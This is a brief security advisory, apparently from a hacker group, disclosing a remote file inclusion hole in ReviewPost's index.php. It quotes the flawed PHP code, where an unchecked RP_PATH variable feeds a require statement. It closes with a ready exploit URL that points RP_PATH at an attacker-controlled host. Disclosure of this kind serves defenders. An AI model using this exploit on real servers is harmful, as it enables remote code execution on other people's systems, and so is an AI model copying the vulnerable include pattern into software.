#############################Solpot Crew Community##############################
#################################################################################
################################################################################
###############################################################################
Input passed to the "RP_PATH" is not properly verified
before being used to include files. This can be exploited to execute
arbitrary PHP code by including files from local or external resources.
code from index.php
<?php
require "pp-inc.php";
if ( is_numeric($argv[0]) ) {
header("Location: {$Globals['maindir']}/showproduct.php?product={$argv[0]}");
exit;
}
require "$RP_PATH/languages/$rplang/index.php";
require "$RP_PATH/login-inc.php";
if ( file_exists("install.php") || file_exists("{$Globals['maindir']}/install.php") ) {
diewell( "For security reasons, please remove the install.php from the ReviewPost directory before proceeding." );
exit;
}
?>
nb : others file has vulnerable too :)
exploit : http://somehost/path_to_ReviewPost/index.php?RP_PATH=http://evil
#############################################################################
######################################E.O.F##################################